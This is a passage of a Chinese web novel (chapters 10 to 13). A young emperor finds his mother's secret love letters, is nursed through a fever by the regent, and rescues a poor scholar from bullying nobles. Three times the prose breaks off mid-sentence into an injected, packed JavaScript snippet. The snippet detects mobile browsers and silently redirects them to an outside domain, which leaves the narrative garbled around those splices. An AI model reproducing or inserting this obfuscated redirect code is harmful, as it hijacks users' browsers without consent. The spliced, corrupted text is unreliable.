但母亲爱看书,宫里有很多藏起来未被夺去的书籍,大概在皇宫中,只有真的黄金屋才令人觊觎,书中的自然没多少人惦记。 他从小被母亲教着认字、看书,心智早熟,所以才能在尔虞我诈的后宫里好好活到六七岁,在之后如何能与当时作为质子的沈衡共同做局图谋皇位,也是母亲从小将他培养的好。 宋南卿站在床前,因着尘埃飞起又打了个喷嚏。头上的蓝色飘带因着动作幅度较大,从发丝间飘落,慢慢落到了床底。 他扁了下嘴,弯腰捡飘带,在摸了一手灰即将生气要放弃的时候,手指突然触碰到了一个冰凉的硬物。 捏住那个冰凉的硬物往外拉,宋南卿看见一个不大的木盒子从床底被拽了出来,他摸到的正是盒子上的银锁。 时过境迁,锁头已经磨损,他用力一掰,银锁脱落。 宋南卿眯了下眼,心想这难道是母亲年轻时藏在床底的秘密? 他蹲在地上双手合十,心里念叨着:“母亲不要怪我哦,如果是财物我就烧给您,如果是别的秘密,我是你儿子知道一下也不要紧吧!” 木盒子敞开,出乎意料的是,里面是一张绣着独特刺绣的帕子,里面包着一沓泛黄的信纸。这个刺绣技法独特,是母亲独创的,信纸也一定是她好好保存的。 宋南卿一页一页翻过,都是同一个人给母亲写的信,情意绵绵有时还附有作的情诗。时间跨度很大,一开始是作为好友相约出去游玩,后来是青涩的、羞怯的、不好意思的,再后来是大胆示爱的、表示将来一定要娶你的。 但再往后,信中的一字一句是不解和询问,问她为什么,问她难道情爱都是假的吗? 最后一封,是未寄出去的信: 文康: 身为家族中人,享受家族带来的优渥条件就势必要背负使命。姐姐在宫中处境艰难,父兄都令我进宫帮扶姐姐,也是为了振兴门楣,救贾家于水火。父兄可靠读书做官来为家族带来荣耀,我不能随你而去弃贾家于不顾。且兄长告诉我,圣上有将公主下嫁于你的意图,我不想阻碍了你的前程。 情与爱都是真的,我们之间的感情不会有任何东西可以削弱。就算贾家和郗家世代关系不好,我们之间也从未受这些关系牵连分毫。不要去责怪我的兄长,他也有很多无能为力的地方。 望你平步青云,家庭和睦,幸福安乐。 落款是贾娴。 这是宋南卿第一次知道母亲的名字,不是贾贵妃,不是贾家那个被圣上厌弃的女人,而是这个独属于她自己的名字。 看完这些信,宋南卿久久沉默。原来在入宫成为贾贵妃前,她还有这样一段不为人知的往事。 贾家和郗家一向不睦,从哪个角度来说他们这两个有情人都没办法终成眷属,更别提还有权力纷争在里面。但郗文康这个人,宋南卿屡有耳闻。 在十年前先皇在世时就是个文采出众的人,出身望族又精通制图,现在祭祀的礼堂设计就有他的手笔。但几年前一病不起,后来宋南卿继位,贾良出任首辅,郗氏一族大受打压。 听闻郗文康到现在还未娶,当然,这种私事宋南卿知晓,还是因为世人常常把他和沈衡相提并论,关于京中芝兰玉树翩翩公子单身榜,那可是印成小册子风靡一时的,春见买来的话本子中还有以他们为原型写的。 那日沈衡说关于科举改制推行有个人选,说的就是此人。 宋南卿把信件全都拿出叠好塞在袖子里,又把木盒放回原处,拍了拍手掸掉灰尘。 屋外的春日阳光带来丝丝暖意,把那间屋子里的阴霾彻底驱散,宋南卿出门往西看,发现是一条长长的巷子,不知通向哪里。 他借着找地方净手的名义带着春见穿过那条巷子,通向的地方竟然是一个马棚。 十几匹骏马毛发油亮正在吃草,负责给他们喂食的是一个身量高大皮肤古铜的男人,他的头发很奇怪,像是死刑犯才会留的,后面剃短了,露出后方脖颈的刺青,宋南卿在墙后面躲着细瞧,在看清刺青痕迹的一刹那,眼睛睁大。 就在他想要往前几步时,一个漂亮的女人款款从一侧走上来,手指搭上那个喂马男人的肩膀笑着说了什么,耳朵上的翡翠耳环在阳光下流光溢彩。 宋南卿听到那个男人叫了声姨娘,往后退了几步没让她靠太近。 “小小贾府还真是精彩啊。”宋南卿告别贾良出来后,在马车上轻轻感叹。他往后靠在软枕上,眼睛微阖,对魏进问道:“有什么发现?” 魏进坐在前侧驾马前行,听见问话微偏过头道:“贾府似乎有许多禁地,而且据奴才看,那些家奴身上都带武功,招数还都不是出自同门同派。” 宋南卿道:“豢养私奴?” “奴才有这个怀疑。”魏进应道,“贾府太大了,有很多地方可以藏,而且今日有些仓促,没有把地形图画完全。” 宋南卿回想着今日的那个养马男人,那双翡翠耳环,那个玳瑁勺子,他眉毛微扬,“你有时间去找一趟云岫,就说她那个心上人,我给她找到了。” 魏进抬手给马车加速,听到这话道:“是,陛下已经有对策了。” 宋南卿一笑:“看看云岫这位心上人,能为她做到什么程度吧。” 马车转过一条街道,美食烟火气扑面而来,宋南卿刚刚在贾府没吃几口的肚子开始叫起来。 他撩开马车帘子,看着热气腾腾的小吃摊,咽了下口水,“停一下,朕要下去。” 太阳透过掀开的车帘,照到宋南卿的手上,同时也照在街边小吃摊的旗子上。 蓝色布旗上印着“陈记食肆”三个字,往下是木头的四方桌,周围围了一圈长板凳。这一片地方就这家人满为患,宋南卿摩拳擦掌,看着好不容易空出来了一条板凳,他一屁股坐了上去。 “公子!奴才给您擦擦再坐!”春见忙不迭掏出帕子要给他擦桌子和凳子,宋南卿的眼睛已经粘在菜单上拿不下来了。 “要一碗鳝鱼面,还有这个豆腐皮包子。”他看了看桌上其他人的碗里都有什么,又指着桌上的绿豆糕说:“这个也给我来一份吧。”他闻到热气扑鼻的食物味道,对着春见魏进道,“随便点,爷请客。” 对于美食他一向兴致颇高,但是沈衡不太愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004582|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意让他吃街边的东西,怕他肠胃弱吃不得,但宋南卿觉得天子当与民同乐。 菜还没上来,他就被同桌的食客浇了头冷水。 “我等凑钱共食一碗素面,那有钱有势之人开口便是随便点,别提科考,就是饮食上,我们也差了一大截。” 有钱有势之人宋南卿默默眨眼,心想他吃的也没多荤啊,而且就点了三个菜而已,一个还是点心。 旁边像是举子模样的人发出叹息:“我来京已数月,吃食能省则省,但贾大人授课要的银子却是一节更比一节高,不上又怕落在人后面,真是为难啊。” “每年科考名额就那么多,一大半还被世家子弟占去,我们吃的是残羹冷炙,学的也是他们从指缝中漏出来的边角料,自古寒门难出状元。” “你们也别那么灰心,只要努力还是有希望的,你看新任御史陈大人,不也是草根出身,人家现在得陛下青睐,宫中文武百官无一不怕他弹劾,就是首辅也得任他挑理。” 一个穿绿布衣的青年打断了他的话,“我和陈大人可是同乡,当时是地方官对他家有亏欠,他父亲因此丧命,所以多给了一个名额,他才有机会入朝做官的。” 宋南卿的耳朵打开听着旁侧人的谈话,听的入迷,直到他的面上来了,才把心神收回来。 清亮的汤底里是细细的面,上面被油爆过的鳝鱼丝油亮诱人,葱花翠绿,香气扑鼻。宋南卿挑起一筷子面和鳝鱼丝混合放进嘴里,鲜甜咸香在嘴里瞬间爆开,鱼肉弹牙笋丝清脆,再来一口面汤,整个人的五脏六腑都被暖流熨烫妥帖。 他把头埋在碗里吃的脸颊鼓鼓,吃相香到旁边那几个刚刚对他出言嘲讽的人都被他吸引。 绿布衣咽了咽口水,准备继续刚刚的话题:“你们知道当时那个地方官是何人吗?” 身旁同学摇头,心里想着要不也点笼豆腐皮包子尝尝,怎么感觉那么香。 “是贾大人。”他故作神秘,一只手挡住嘴轻声说道。 但宋南卿就坐他旁边,声音再小怎么也听到了。他边夹起一块绿豆糕边想:“没想到陈立文和贾良还有这一段缘由在,怪不得天天给他递贾良德行有亏的折子。” 绿豆糕一入嘴,入口即化,可是清新的绿豆中含着一丝似有似无的酸味,宋南卿皱起眉,但眼看同桌的人吃的正好没有丝毫异样,他皱着眉咽下了口里的东西。 在离开前,听到那些学生在谈论贾良过寿该送什么礼物云云,宋南卿失去了兴趣。他今日听那管家说起,还以为贾良是免费开课,原来不止收费还收礼。 马车朝宫门驶去,重重的大门关闭。皇帝的寝宫门却接连开启,御医和今日随宋南卿出门的侍从都被叫进来问话,连贾良那边都被派去宫人询问,今日在贾府用了什么菜。 内殿高床之上,宋南卿闭着眼睛,墨色的头发散在枕头上,巴掌大的小脸很精致也很脆弱,没有了睁开眼时那抹坚韧和不饶。 沈衡进了房间,掀开帘子仔细观察着床上人的脸色,手背贴在宋南卿额头试体温,又从床头的铜盆里绞了湿帕子替他擦汗。 原本红润的唇瓣此时变得苍白,一缕青丝被汗浸湿贴在腮上。沈衡撩开他那缕头发,细细沿着鬓边擦拭。 原本狡黠的眼睛闭着,失去了往日的活力和灵动,沈衡眉头紧皱,一边握住他的手一边冷声问负责诊断的御医: “陛下到底怎么样?” 11.第十一章 龙床之前,御医跪了一地,为首的低着头说;“回禀摄政王,陛下是吃了不干净的东西肠胃不耐发炎症,有呕吐之状,继而引发高烧不退。微臣已经开药,太医院那边很快就会把药煎好送来。” 沈衡坐在床侧,把由于情急压住的衣摆往外甩开,黑色的衣袍显得压迫感十足,他脸色不好,听了这回答并没有放下心来,“确定不是下毒?” 宋南卿刚从贾良府上回来,有前车之鉴,让他不得不多心。 薄薄的眼皮往上一抬,压出一道深深的折皱,威严散发,让御医浑身一颤。他弯腰恭敬道:“陛下不是中毒之状。” “陛下今日都吃什么了?”沈衡扫了跪在旁边的春见一眼。 春见颤颤巍巍回道:“在贾大人府上用了两碗樱桃乳酪,还、还在街市吃了…吃了鳝鱼面、包子和绿豆糕。” 沈衡看他的眼神很沉,“你跟着陛下,就让他吃这些随便之物?” 春见除了认错不知道该说什么,毕竟今日宋南卿吃的所有东西,他都先尝过,并无异样。 御医在旁边说:“臣检验过陛下今日所食之物,那家小食肆的东西也全都查过一番,无毒,只是绿豆糕有轻微变质。” “那他怎么还没醒。”沈衡握着宋南卿的手,眼里满是担忧之色。 御医回答说:“陛下身子一向不算强健,思虑过多难免生郁,郁结于心加上高烧,才会有半昏迷之状。等烧退下来自然会醒,只是这两日肠胃虚弱,饮食上需多加注意。” 太医院的小御医端着一碗药过来,沈衡接过来,让他们全都下去了。 安静的房间里,只能听得到呼吸声,沈衡刚准备把宋南卿半扶起来,就被抱住了胳膊。 “别杀我……别杀我!” 宋南卿看见穿着盔甲的人破门而入,重剑挥出闪着白光,映出了宋南卿的人影。 叫嚷声,刀剑声,白色的剑影和红色的色块,是嘴唇上的颜色,是鲜血。缥缈的声音从脑后传来,一时是沈衡拿着沾满鲜血的剑对他说:“今后你就是大盛的皇帝。” 一时是他坐在书桌前情绪不明地对他说:“情爱对帝王来说是最无用的,卿卿。” 茶杯在掌心碎掉,贾良捋着胡子对他说:“宫中人心不轨,往后摄政王再有什么事,告诉我。” 穿着玄衣锦袍的沈衡嘴角流出毒血,在宋南卿面前念道:“你贪念太重。” 长剑刺破胸口,沈衡的血溅了宋南卿一脸,他瞪大了眼睛泪水止不住滚落,想要向前,却发现自己身处枯井之中,对方的尸体从天而降。 红色的液体遮盖住了视线,一股极其酸涩的痛楚从心脏爆开,心脏生生被剜去一角的感觉令宋南卿喉咙发腥,身体不自觉地颤栗起来。他僵在那里无法呼吸也无法动弹,万籁俱寂,无尽的悲伤把他拖入无边的深渊。 突然,睫毛上的红色被抹去,宋南卿慢慢睁开了眼。 沈衡俯身用指腹擦着少年睫毛上的泪水,指尖被烫的微抖。 宋南卿一睁眼就是那张熟悉的脸,他大喜过望,失而复得般猛地伸手去抱人,想要确认那些可怕的画面都是一场梦。 冷不丁被他往后一扑,沈衡退了段距离才稳住身形,宋南卿哭着往人怀里埋,一只胳膊缠住沈衡的脖子,把脸埋在坚实的胸膛上紧紧贴住,另一只手搭着肩膀紧抓不放。 他靠的很近,双腿并起来侧坐在沈衡怀里,想要用每一寸肌肤去感受对方的体温和存在,隐隐约约的啜泣被闷在二人之间。 顺滑的头发经过生病出汗已经变得凌乱,沈衡一手拢住他的腿,一手轻轻拍着少年的后背。 “没事,别怕…” 确实很久没见宋南卿哭了,那种装可怜撒娇的时候不算。 细碎的哭泣声经他安慰后变得更大了,充满难过与委屈。沈衡呼吸滞缓,手臂收紧,拢住少年的肩膀往自己怀里圈,原本搭在大腿上的手环住了腰身,彻底把他围在怀中。 “没事的,嗯?怎么了,我在这儿。”沈衡抬指擦去少年腮上的泪水,望着他哭红的眼眶,心尖发酸,“做噩梦了是不是。” 听到这话,宋南卿扁了扁嘴摇头,抽着鼻子泪水渐止,睫毛湿湿的黏在一起,嘴角朝下鼻尖都是红的。 沈衡抚摸着他的后背帮他顺气,刚伸手去拿帕子想帮他擦眼泪,脖子就被紧紧抱住不撒手了。 湿润带着泪水的脸颊软软地贴在他锁骨下方,有种誓死不放手的架势。 断断续续的抽噎声,宋南卿的身体随着抽泣在抖动,他已经不在哭了,但身体上的生理反应还没有平缓下来。 温暖的怀抱紧紧包裹着他,被压迫感环绕着,他才确信自己在安全区之内。 “先把药喝了再抱好不好?”沈衡把他抱起来换了个更舒服的姿势,轻轻的安抚性拍打落在背上,轻声询问。 宋南卿把脸埋在人颈窝,半晌才颤声道:“先生会一直陪着我吗?” “只要你需要。”沈衡半点都没犹豫。 过了好一会儿,宋南卿才慢慢松开人,半靠在床头,这才感觉到自己腹部的不舒服。 他扁着嘴眼眶还是湿的,叫嚷道:“肚子痛——” 白色的玉碗里盛着热热的药,沈衡捏着一勺汤药送到他嘴边,“喝了药就不痛了。” 宋南卿不肯张嘴,他眉头微皱,还没尝就喊苦。 沈衡哄了半天,见他还不张嘴,恐吓道:“御医说你肠胃虚弱,如果不赶紧喝药治好,以后就不能吃好吃的了,只能日日喝粥养着。” 宋南卿瞪圆了眼睛不可置信,看沈衡表情不像作假,可怜的眼泪又要往外冒。 他一边“叭嗒叭嗒”往外掉泪,一边抱着碗喝药,也不知道有没有尝到自己眼泪的味道。等到一碗药见底,沈衡在他嘴里塞了一颗话梅,拿手帕替他擦嘴,还一边夸奖:“卿卿现在喝药都不用喂了,比以前更厉害。” “先生会更喜欢更厉害的我吗?”他扒着人的手臂问。 天色已晚,房间里点着灯但也不算太亮,在暖黄色的灯光下,宋南卿扬起的脸蒙上了一层珠玉般的的柔光,仿佛阳光穿过雾气照过湖面,睫毛上还挂着星星点点的未干泪痕。 沈衡移开目光,又转回来,看了他两秒,然后把空碗移走,低沉的声音飘在空气中:“我更喜欢开心的你。” 看着他的背影,宋南卿拽住身上滑落的被子,一股说不清道不明的情绪涌上心头,他不太懂那是什么。或许是噩梦太真实,或许是现实像噩梦一样,一步走错就万劫不复,需得步步小心。 可能是因为在那间母亲的旧屋里待了太久,往事和回忆都涌了上来,他的头真的好痛。 再次从梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010957|177511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中惊醒,宋南卿头上湿凉的帕子换了一块儿,他迷迷糊糊看见沈衡在给自己喂水,头疼的感觉消散不少,肚子空了发出咕叽咕叽的声响。 “我想吃你做的绿豆糕。”宋南卿靠在人肩膀上又喝了一口水,觉得刚刚喝药喝的嘴里发苦,没有味道。 沈衡捏了下他的脸,“还敢吃绿豆糕,你知不知道这次就是因为那个坏了的绿豆糕才这样的。” 宋南卿反驳道:“谁说的,说不定是贾良害我。”他话锋一转,像是在睡梦中还未清醒,梦到哪句说哪句一般,“今日看到贾良小妾的耳环好漂亮,那个翡翠又亮又透,比前些天库房里那个据说价值连城的漂亮好几倍,我也想要。” “嗯,你有能戴耳环的地方吗?我看看?” 一夜未睡,沈衡也失去了一直秉持的端庄,疲惫感没消失,但因为担心宋南卿精神却一直紧绷着,身体疲惫精神兴奋就容易做出些平日用理智克制自己不能做的事。 温热指腹蹭到少年的耳垂,捻着那块肉磨蹭挤压,食指摸到耳根处试温度,感觉终于退了烧,他那口提起来的气才终于放下。 宋南卿早产,身子一向不太好,出生又没受到精心细养,有虚弱的病根在,所以一病就让人很怕抑制不住。 布着厚茧的手指摸着敏感的耳垂带来痒意,宋南卿忍不住瑟缩推他:“讨厌!不要摸……” 耳后那个凹陷进去的小窝窝被指尖蹭到,宋南卿打了个哆嗦,痒意从耳根一直传到咯吱窝,他本来生病退烧就捂了一身汗,被那么一碰整个人都红了。 沈衡看他面颊潮红,以为又起了烧,倾身要仔细查看之时,被宋南卿拦住了不让碰。 长长的睫毛翘立,他垂眼不好意思看人,推着沈衡的手左扭右扭,最终还是被沈衡看出了端倪。 “那么有精神,看来是好了。” 听到这句带有调侃意味的话,宋南卿扑上去捂住了沈衡的嘴,瞪圆了眼睛威胁道:“不许说!” 沈衡拎他跟拎兔子一样,单手就把他放回了被子里,看了一眼外面天色,嘱咐道:“今日上朝就免了,好好休息,我吩咐了御膳房等会儿把粥送来,你喝了再睡一会儿,等下了朝再来看你。” 宋南卿闹了那么一会儿也累了,乖巧点点头缩回被子里,又想起什么似的,仰起头说:“陈立文此人还需要再观察秉性,先生帮我探查一番。” 沈衡点头应了。 临出门,他又转头看向宋南卿状似好意提醒:“你现在正是身子虚弱之时,万不可纵容自己意愿行……” “我知道了!”宋南卿炸毛一般立刻打断了他要说的话,把脸埋在被子里,胳膊伸出外面,只露出来一个握紧的拳头给沈衡。 “粥是我一个时辰前熬的,是你喜欢喝的,不喂你也记得多喝两口。”大门“吱呀”一声关上,宋南卿从被子里钻出脑袋,往外张望了两眼确实没有人影,他又把头埋回去了一半。 床头的花瓶里新换了一束百合,淡淡的清雅味道能舒缓心神,床的另一侧和旁边的小榻都没有睡过的痕迹,沈衡好像一夜未眠。 宋南卿翻过身看见自己腕上的佛珠,他凑近了闻,闻到一丝跟沈衡身上味道相类似的香味,圆润的绿檀佛珠从他的脸颊上方滚过,慢慢蹭到了那颗饱满上翘的唇珠。 刻着清心咒的经文把他包围。 12.第十二章 宋南卿这一病,修养了好几日才完全大好,帝王生病摄政王大怒,整个宫里的人都战战兢兢,他好了之后赏了宫里服侍的下人,也好好安抚了下春见。 宋南卿坐在书桌前看了会儿折子,双手勾起伸了个懒腰,淡青色的衣袍上绣着春日山水纹样,银线绣成的河流在日光下发出光辉,像是汩汩清流般波光粼粼。春日最易困倦,他打了个哈欠问一旁的春见:“近几日宫中有什么趣事吗?” 春见正在一旁剥莲子,边剥边抬头回道:“近日有则传闻,说贾良大人家中平白飞出几只乌鸦,且陛下您看过大人后回来就病倒了,大家都在传贾府怕是有什么不干净的东西。” “还有这种传闻?”宋南卿直起身子有些兴趣,瞥到春见手里的莲子疑惑道,“你剥那东西做什么,谁要吃?” 春见把剔除苦心的莲子放到容器内,“摄政王大人罚奴才剥莲子,好好体会一下危君所危、急君所急的良苦用心。” 宋南卿说:“这又不是你的错,好了别剥了,你是我的人,他有什么道理罚你。” 春见闻言跪在了地上,言辞真诚:“是奴才的错,陛下受伤害就是奴才没有尽好本分,按律应该打板子的,是摄政王体恤才没有让奴才受罚,” 宋南卿目光微闪,出声问:“是因为你没有制止我吃多了樱桃乳酪,还是因为没有制止我随便在街市小摊进食?” 春见低着头微抖,颤声道:“都是奴才的错。” “春见,你跟我时间不短了,朕今日问你一句,你究竟是听摄政王的,还是听我的?”宋南卿轻描淡写一句话,让春见后背都湿了。 宫门里贴近圣上身边伺候,说出去是谁都羡慕的美差,但风险始终与机遇并行。 他把头贴在地上,为自己声明:“奴才自然以陛下为先,只是那日摄政王问起陛下因食何物才呕吐不止,奴才担忧陛下只好照说。但关于陛下的私事,奴才以性命担保,从来一句也没对旁人透露过。” 殿里变得很安静,像是在等待什么判决宣读,春见屏住呼吸默默等待,像是过去了短短一会儿,又像是过去很久。 “罢了,你夹在中间也有为难之处,起来吧。”半晌,宋南卿轻叹一口气道。 还是他不够强,连他做事有时都要看沈衡脸色,更何况春见一个小小奴才呢。 “摄政王现在所在何处?” 春见回答道:“沈大人今日未进宫,听闻郗家公子这几日订婚娶妻,不知沈大人是不是去郗家参加喜宴去了。” 宋南卿挑了一颗去了芯的莲子放入口中,问:“哪个郗家公子?” “郗武康长子,郗渐。” “就是那个据说五岁能作诗的神童郗渐?”宋南卿得到肯定回答后,摸了摸下巴,“小时候先生教我读书时就时常提起,我倒想看看这位神童有没有伤仲永。” 长大过程还有回忆的长河里,每个节点似乎都避免不了提到沈衡。但刚刚因为春见一事,在此刻提起沈衡,又变得有些微妙了。 看着窗外春光正好,宋南卿扭了扭脖子说:“大喜的日子,我们也得去凑凑热闹,春见备车。” 按以前,春见可能会说陛下大病初愈,还是不要出去的好,毕竟摄政王嘱咐过不能由着陛下性子胡来。 但现在,春见多叫了几个侍卫在远处跟随,食物器具都带的一应俱全,为了防止春日说下就下的雨,他还多带了雨具和保暖衣物。 宋南卿坐在柔软又密不透风的马车里,拉开抽屉就看见了放好的糕点,他赞许地看了一眼春见。在马车里看着前方那个从他继位起就一直陪着自己的少年的肩膀,感觉好像又宽阔了一些。 时间的流逝如果没有参照物,很容易察觉不出,但如果身边的人在成长,自己还止步不前,是很容易就能感觉出来的。春见坐在一旁对驾马车的人说:“走西边那条道,更平稳一些。” 在皇宫没有哪条路是容易走的,需得步步谨慎,目前宫里最尊贵的除了皇上,就是摄政王,偏偏春见是接触他们最多的人。 以前他觉得陛下没有长大,摄政王大人又是帝师又有摄政之权,虽然他年纪没有年长到那个份上,但权力地位在那里,又从皇上小时候就以一个看顾者的姿态处之,所以他伺候皇帝,总是会在意摄政王的心思和想法,毕竟那时候陛下还是个不能完全自理的小孩,小孩总是想寻求大人庇佑的。 但现在不一样,随着小孩长大,摄政王和陛下的需求有时候是相反的,满足一方就可能得罪另一方,但这两个人,他哪个都得罪不起,如何从中转圜权衡,是一个大学问,他只能力求平稳。 马蹄声有规律的响起,他听见他的陛下在马车内喊道:“春见!你这个糕点自己尝过没有啊,一点都不甜,你进来给我吃吃看呢!” 一块绿色的荷叶糕从马车内飞出来,春见回头一笑接住糕点,“陛下,您肠胃刚好,吃不了那些,等您大好了奴才天天带不重样的出来。” 春花开遍,春天已来,宋南卿透过马车的窗子看见外面的绿叶和枝桠正在缓缓生长,春见拿着那块荷叶糕,与外面的绿意盎然融为一体。 ……说起绿,他又想起了那个翠绿的翡翠耳环,切割立体打磨圆滑,透亮的不得了,好想要。 宋南卿捻了捻手指,让春见把马车先驶往了京城最繁华的宝物一条街。 在又一次从珠宝饰品店无功而返后,宋南卿双手背后,沿着街边溜达起来。他这条路再往西,卖的多是些字画笔墨一类,小石板铺成的路走上去别有一番趣味,宋南卿低着头一步踩一格,跳来跳去玩的欢快,一没留神,旁边有个人从台阶上跌跌撞撞摔了下来,差点撞到他。 “你怎么回事,没长眼睛啊!”春见先一步挡在宋南卿前面轻喝道。 没等那人说话,又是一个破包袱从旁侧那个高高的台阶上被扔了下来,一个掌柜模样的人站在客栈门前居高临下说:“不好意思了阮公子,我这个客栈可不是什么人都收留的,你已经欠了半月房费未结,留你到今天已经是仁至义尽了。” 那人从地上爬起来拍了拍身上的土,说:“小生拿到抄书所得银钱后,定会来还上,多谢掌柜。” 他拾起包袱背好,宋南卿这才看清他的脸。 是那日在贾良府上听授课时,那个被表扬后上台念策论的学生,叫阮羡之。宋南卿还记得其中几句鞭辟入里的文字。 他默默跟着阮羡之一路走,跟到一家书画店后,对方竟没了踪影。宋南卿也没放在心上,本来就是一个小插曲,只是觉得那么有才华的人,生活也有不易之处。 春日的上午,街市人很多,夜晚华美鼎沸的凤栖楼,白日里倒是连个人影子都不见。宋南卿停留在书画店里看话本子,听见一旁的人说: “就不久前,听说是宫里的大人被巡查逮住了,你说怎么就那么巧,最近凤栖楼生意可没之前那么好喽。” “哎呦那天我正好瞧见了,光溜溜的门就被打开了,我要是他这辈子都抬不起头了,还当御史呢。” “读书人你还去那等地方呢。” “路过,路过而已。老板,你这小羊毫怎么卖的?” 宋南卿听了几句,没太放在心上,拿了几本书准备结账出门。那老板看见他手上的书,嘴角扬起一抹神秘的微笑道:“这位公子,店里还有绿芜老师的新作——” 他左右扫了几眼,故弄玄虚般用手挡住嘴说:“风流御史俏寡妇……” 他自以为声音很小,其实不然,店里的人一时都把目光移向疑似爱看风流御史的少年,那个要买小羊毫的男人眼里流露出赞许之色。 被打量调侃目光包围的宋南卿一时如芒刺背,如鲠在喉发不出完整的声音,如坐针毡般猛地加速移动左右跑,想要逃离这个房间,一时慌不择路冲到里面,竟推开了书店角落的一扇小门。 “咣当——”一声,门发出重重的声音,连旁边堆得高高的书都掉落了几本。 春见慌忙跟上来不断尝试推动门喊道:“陛……公子你怎么样啊?” 宋南卿推开门平静下来后,发现他竟然出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我劝你趁早死了科举这条心,就你这样的人,怎么配将来和我们同在朝为官!” 阮羡之愤怒地瞪着他:“是你们!我被客栈的掌柜赶出来、那些字画店都不让我进去,是你们暗中搞鬼,卑鄙无耻!” 周围的人露出嘲讽的笑,对他奚落道:“鸡和鹤有云泥之别,我们随手的事就能让你活不下去,现在懂了吗?” “凯哥,要我说,不如把他的手指弄断,看他还怎么做文章来,省得贾大人又拿来和您比较。” 他话还没说完,脑袋上就挨了一下,“怎么说话呢,凯哥那是没认真写,真以为谁都跟他一样爱出风头啊!” 春雨打湿白墙,淋湿地面,宋南卿和那群人都在屋檐下,只有阮羡之四周无一物遮挡,被雨水淋了个彻底。 脏脏的手指在地面上蜷缩,他身上带伤,衣物被打湿,额角还流着血。阮羡之被雨水淋的雨睁不开眼睛,听到一个人对他说:“你现在签下这个保证书,保证今后不再妄想科举,我们就放你一条生路,给你白银百两放你回到那个野鸡窝里去。” 宋南卿握紧了拳想要上前制止,但又犹豫了。 他现在只有一个人,肯定打不过那群恶霸,君子不立危墙之下…… 阮羡之笑了,他缓慢抬起手,把那张纸捏住,然后撕了个粉碎,用带着淤青的眼睛看向他们,放声道:“富贵不能淫,贫贱不能移,威武不能屈,此之谓大丈夫。科举是为做好官,为天地立心为生民立命,你们不配。” 宋南卿屏住了呼吸。 那群人被激怒,背对着他被称为凯哥的人真的抬起了脚,混着泥水的鞋子抬起,慢慢要对着阮羡之的手指踩去。 苍白的手指沾着血迹,还有撕碎的纸屑晕染开的墨渍在上面,连指甲缝里都是血和污泥,写得出精彩策论的手,在皇城脚下的深巷里,却破损僵直,被按住手臂动弹不得,只能引颈受戮。 “住手!” 一道声音打断了这残忍的动作,打断了这场不公平的抱团霸凌。 13.第十三章 淅淅沥沥的雨有越变越大的趋势,那群眼高于顶的权贵子弟闻声回头,看见一名身穿淡青色衣袍的少年从后面走了出来,气质脱俗面容秾丽,看起来像是个不经世事的小少爷。 “你是谁,想多管闲事?” 宋南卿对着前面瞪大眼睛,似是很诧异叫了声:“贾良大人!” 因为纯真的表情似是做不了假,乖巧漂亮的外表也格外让人信服,那一群人听到贾良的名字,慌忙转头看向前面那个方向。 电光火石之间,宋南卿往前疾跑两步,拉起阮羡之的胳膊架着人扭头就跑,步伐飞快。 贾士凯那群人反应过来过来被耍了,怒骂着往他们奔跑的方向追去,几个人的脚步声踏在被雨淋过的地板上,声音格外明显。 宋南卿带着身受重伤的人跑的困难,阮羡之腿被踢伤行动受限,几乎半个身子都靠宋南卿拖着走。他们二人绕着巷子七拐八拐彻底迷了路,只能凭毅力不停下步伐。 春雨一直在下,鞋子踏进小水坑,泥水溅湿衣摆,宋南卿忍着鞋袜被水浸湿的难受努力带着人奔跑,身后的追逐的脚步声越来越近,他呼吸急促喘的快上不来气。 阮羡之面色苍白,对他说:“往右跑!” 宋南卿一个拐弯,进入了更细窄的巷子,不远处的脚步声逐渐远去。 危机暂时解除,宋南卿脱力,被阮羡之的重量拖的坐在了地上,他的额发被淋湿,精致飘逸的衣袍也彻底脏掉了,像落了水的小狗,费力呼吸。 下雨后空气里的味道不太好闻,带着泥土的腥气,或许还掺杂阮羡之身上的血腥气,加上不干爽的衣物鞋子,每一个地方都让人不舒适。 阮羡之用湿透的袖子擦了一把脸,对坐在旁边的宋南卿说:“今日多谢公子救命之恩,只是那些人不会轻易罢休的,你还是快点走吧,莫要……被我拖累。” “你身上还有钱吗?”宋南卿大喘着气问。 阮羡之摇头。 “又没钱又没地方住,还有那么一群恶鬼等着要弄断你的手,我走了你怎么办?” 阮羡之一愣,他看见旁边的少年甩了甩袖子上的水,那张脸被雨水淋湿但丝毫没有惧意,剧烈跑动让他的脸颊泛起微红,他休息了一会儿后从地上站了起来,朝自己伸出一只手。 细细的手腕上挂了一串有些大的佛珠,脆弱得仿佛一折就断,却有跟翠绿青竹一般坚韧不认输的韧劲。 “快点站起来,我们马上就能出去了。” 阮羡之怀疑自己身上太痛加之淋了雨不清醒,不然怎么会有人坚持不放弃自己呢。 